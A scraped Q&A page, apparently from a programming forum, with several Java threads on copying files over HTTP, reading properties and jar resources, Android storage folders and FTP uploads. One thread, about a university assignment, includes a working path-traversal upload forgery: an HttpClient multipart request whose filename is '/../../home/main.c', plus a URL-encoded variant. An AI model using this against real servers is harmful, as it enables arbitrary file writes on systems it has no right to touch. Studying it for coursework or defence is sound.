want to copy a file from a server to a client - java

i want to copy a file from a server to a client in java.this is my code up to now
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.net.URL;
public class Copy {
private ListDirectory dir = new ListDirectory();
public Copy() {
}
public String getCopyPath(String file) throws Exception {
String path = dir.getCurrentPath();
path += "\\" + file;
return path;
}
public void copyFile(String file) {
try {
File inputFile = new File(dir.getCurrentPath());
URL copyurl;
InputStream outputFile;
copyurl = new URL(getCopyPath(file));
outputFile = copyurl.openStream();
FileOutputStream out = new FileOutputStream(inputFile);
int c;
while ((c = outputFile.read()) != -1)
out.write(c);
outputFile.close();
out.close();
} catch (Exception e) {
System.out.println("Failed to Copy File from server");
e.printStackTrace();
}
}
public static void main(String args[]) {
String a = "put martin";
String b = a.substring(0, 3);
String c = a.substring(4);
System.out.println(a);
System.out.println(b);
System.out.println(c);
}
}
Problem is , the server is not uploadded online , but it is on my local drive, and the URL thing doesnt work. is there any other way? is this way correct? thanks

If you're expecting to access your file from the local file system (whether that be via network drive or a local disk), you'll need to treat this as if it is a straight file copy.
If you're expecting to access your file as if it is available for download from an HTTP server, you will need to treat it as an HTTP download (which is what it looks like you're trying to do with the URL).
If you want to test the HTTP download functionality using a file on your local system, just set up a simple HTTP server on your dev machine with a directory on your local system, and give your HTTP-downloading code a URL pointing to that local server (on http://localhost, or using your IP address).
Unfortunately, HTTP is a very different animal from a file system, and I don't think there's any way to use the same code to handle both scenarios. If you want your program to ultimately support both protocols, you should build methods/classes to handle both situations, and then have your program detect and use the appropriate protocol for a given path. You'll need to do the same for any other protocol you wish to support (FTP, SFTP, etc).

Related

how to read values from property file?

How to read the values from properties file in java script?
I goggling about it but not satisfied.Please share me some samples or links. My application develops by jsp-servlet, eclipse LUNA and Windows7.
Javascript is executed on the client side and cannot access local files (except the html5 web storage).
If you want to access properties which are defined in a properties file on the server side you have two options:
Server side parsing
Read the properties file at the server side and write the values to the html response as JS values
// output a property as JS value to the client. Make sure this is inside a
// <script> tag
void printProperty(Properties properties, String key) {
Sytem.out.println("var " + key + "='"properties.getProperty("key") + "'");
}
Client side parsing (more complex)
Make the properties file available through an URL (http:/.../conf.properties)
Read the file via ajax
Parse the properties file
You can read property file in many way, below is one of the way. Good Link
config.properties
dbpassword=password
database=localhost
dbuser=mkyong
App.java
package com.mkyong.properties;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Properties;
public class App {
public static void main(String[] args) {
Properties prop = new Properties();
InputStream input = null;
try {
input = new FileInputStream("config.properties");
// load a properties file
prop.load(input);
// get the property value and print it out
System.out.println(prop.getProperty("database"));
System.out.println(prop.getProperty("dbuser"));
System.out.println(prop.getProperty("dbpassword"));
} catch (IOException ex) {
ex.printStackTrace();
} finally {
if (input != null) {
try {
input.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}
}
Google Links

Reading a Txt-File in a jar-File in Java

I've write a Java programm and packaged it the usual way in a jar-File - unfortunately is needs to read in a txt-File. Thats way the programm failed to start on other computer machines because it could not find the txt-file.
At the same time Im using many images in my programm but here there is no such problem: I "copy" the images to the eclipse home directory, so that they are packaged in the jar-File and usable through following command:
BufferedImage buffImage=ImageIO.read(ClassName.class.getClassLoader()
.getResourceAsStream("your/class/pathName/));
There is something similar for simple textfiles which then can be use as a normal new File()?
Edit
Ive try to solve my problem with this solution:
package footballQuestioner;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import javax.security.auth.login.Configuration;
public class attempter {
public static void main(String[] args) {
example ex = new example();
}
}
class example {
public example() {
String line = null;
BufferedReader buff = new BufferedReader(new InputStreamReader(
Configuration.class
.getResourceAsStream("footballQuestioner/BackUpFile")));
do {
try {
line = buff.readLine();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
} while (line != null);
}
}
But it gives always an NullPointerException...do I have forgotten something?
Here is as required my file structure of my jar-File:
You can load the file from the ClassPath by doing something like this:
ClassLoader cl = getClass().getClassLoader()
cl.getResourceAsStream("TextFile.txt");
this should also work:
getClass().getResourceAsStream(fileName);
File always points to a file in the filesystem, so I think you will have to deal with a stream.
There are no "files" in a jar but you can get your text file as a resource (URL) or as an InputStream. An InputStream can be passed into a Scanner which can help you read your file.
You state:
But it gives always an NullPointerException...do I have forgotten something?
It means that likely your resource path, "footballQuestioner/BackUpFile" is wrong. You need to start looking for the resource relative to your class files. You need to make sure to spell your file name and its extension correctly. Are you missing a .txt extension here?
Edit
What if you try simply:
BufferedReader buff = new BufferedReader(new InputStreamReader(
Configuration.class.getResourceAsStream("BackUpFile")));

Path traversal, file upload exploit

I have a University assignment where I have to upload a file to arbitrary locations. From the code I can see that the uploaded file is being stored in the temporary folder of the unix system + the file name. This means if i can send the server (java) the filename as /../../home/main.c I could store the file on any location on the system.
Its impossible to insert a forward-slash character as part of a file name which excludes this option, so the only way would be to trick the web client somehow sending manually the name of the file.
Is this possible and how?
File f = new File (dir,entry.getname());
where "dir" is /temp
you can name the file something like %2F%2E%2E%2F%2E%2E%2Fhome%2Fmain%2Ec and upload using a browser, but i doubt it will work.
you can also try to forge your multipart/form-data http post request hacking an existing implementation, something like this (using commons-httpClient 3.1):
public class Forgery
{
public static void main(String[] args)
{
File f = new File("/path/fileToUpload.txt");
PostMethod filePost = new PostMethod("http://host/some_path");
Part[] parts =
{
new StringPart("param_name", "value"),
new FilePart(f.getName(), f)
{
private static final byte[] FILE_NAME_BYTES = EncodingUtil.getAsciiBytes(FILE_NAME);
#Override
protected void sendDispositionHeader(OutputStream out) throws IOException
{
out.write(CONTENT_DISPOSITION_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes(getName()));
out.write(QUOTE_BYTES);
out.write(FILE_NAME_BYTES);
out.write(QUOTE_BYTES);
out.write(EncodingUtil.getAsciiBytes("/../../home/main.c"));
out.write(QUOTE_BYTES);
}
}
};
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost.getParams()));
HttpClient client = new HttpClient();
int status = client.executeMethod(filePost);
}
}

Create a public folder in internal storage

Sorry for my English, but I want to write in this file because in my opinion is the best.
Now my problem:
I want to create a folder in Internal storage to share with 2 application.
In my app, I downloaded an Apk from my server and I run it.
Before I used external storage and everything worked.
Now I want to use the internal storage for users that don't have an external storage.
I use this:
String folderPath = getFilesDir() + "Dir"
but when i try to run the Apk, it doesn't work, and I can't find this folder on my phone.
Thank you..
From this post :
Correct way:
Create a File for your desired directory (e.g., File path=new
File(getFilesDir(),"myfolder");)
Call mkdirs() on that File to create the directory if it does not exist
Create a File for the output file (e.g., File mypath=new File(path,"myfile.txt");)
Use standard Java I/O to write to that File (e.g., using new BufferedWriter(new FileWriter(mypath)))
Enjoy.
Also to create public file I use :
/**
* Context.MODE_PRIVATE will create the file (or replace a file of the same name) and make it private to your application.
* Other modes available are: MODE_APPEND, MODE_WORLD_READABLE, and MODE_WORLD_WRITEABLE.
*/
public static void createInternalFile(Context theContext, String theFileName, byte[] theData, int theMode)
{
FileOutputStream fos = null;
try {
fos = theContext.openFileOutput(theFileName, theMode);
fos.write(theData);
fos.close();
} catch (FileNotFoundException e) {
Log.e(TAG, "[createInternalFile]" + e.getMessage());
} catch (IOException e) {
Log.e(TAG, "[createInternalFile]" + e.getMessage());
}
}
Just set theMode to MODE_WORLD_WRITEABLE or MODE_WORLD_READABLE (note they are deprecated from api lvl 17).
You can also use theContext.getDir(); but note what doc says :
Retrieve, creating if needed, a new directory in which the application can place its own custom data files. You can use the returned File object to create and access files in this directory. Note that files created through a File object will only be accessible by your own application; you can only set the mode of the entire directory, not of individual files.
Best wishes.
You can create a public into a existing system public folder, there is some public folder accessible from internal storage :
public static String DIRECTORY_MUSIC = "Music";
public static String DIRECTORY_PODCASTS = "Podcasts";
public static String DIRECTORY_RINGTONES = "Ringtones";
public static String DIRECTORY_ALARMS = "Alarms";
public static String DIRECTORY_NOTIFICATIONS = "Notifications";
public static String DIRECTORY_PICTURES = "Pictures";
public static String DIRECTORY_MOVIES = "Movies";
public static String DIRECTORY_DOWNLOADS = "Download";
public static String DIRECTORY_DCIM = "DCIM";
public static String DIRECTORY_DOCUMENTS = "Documents";
To create your folder, use this code :
File myDirectory = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOCUMENTS), "MyPublicFolder");
myDirectory.mkdir();
With this example, a public will be created in Documents and can be visible in any file's explorer app for Android.
try the below
File mydir = context.getDir("Newfolder", Context.MODE_PRIVATE); //Creating an internal dir;
if(!mydir.exists)
{
mydir.mkdirs();
}
This is what i have used and is working fine for me:
String extStorageDirectory = Environment.getExternalStorageDirectory().toString();
File file = new File(extStorageDirectory, fileName);
File parent=file.getParentFile();
if(!parent.exists()){
parent.mkdirs();
}
This will create a new directory if not already present or use the existing if already present.

File upload in Java through FTP

Im trying to develop a simple java code which will upload some contents from local machine to a server/another machine.I used the below code
import sun.net.ftp.*;
import java.io.*;
public class SftpUpload {
public static void main(String args[]) {
String hostname = "some.remote.machine"; //Remote FTP server: Change this
String username = "user"; //Remote user name: Change this
String password = "start123"; //Remote user password: Change this
String upfile = args[0]; //File to upload passed on command line
String remdir = "/home/user"; //Remote directory for file upload
FtpClient ftp = new FtpClient();
try {
ftp.openServer(hostname); //Connect to FTP server
ftp.login(username, password); //Login
ftp.binary(); //Set to binary mode transfer
ftp.cd(remdir); //Change to remote directory
File file = new File(upfile);
OutputStream out = ftp.put(file.getName()); //Start upload
InputStream in = new FileInputStream(file);
byte c[] = new byte[4096];
int read = 0;
while ((read = in.read(c)) != -1 ) {
out.write(c, 0, read);
} //Upload finished
in.close();
out.close();
ftp.closeServer(); //Close connection
} catch (Exception e) {
System.out.println("Error: " + e.getMessage());
}
}
}
But it is showing error in Line 11 as 'Cannot instantiate the type FtpClient'.
Can some one help me how to rectify it.
You cannot instantiate it because sun.net.ftp.FtpClient is abstract class.
I suggest using Apache Commons Net instead of playing with sun.x packages. FTP client example can be found from here.
If you do want to use the Sun classes, use FtpClient.create(), as per the JavaDoc for this class.
i have resolved the exception.thats because my machine is connected in a network which doesnt allow FTP connection.when i tried it in a private dongle it worked.

Categories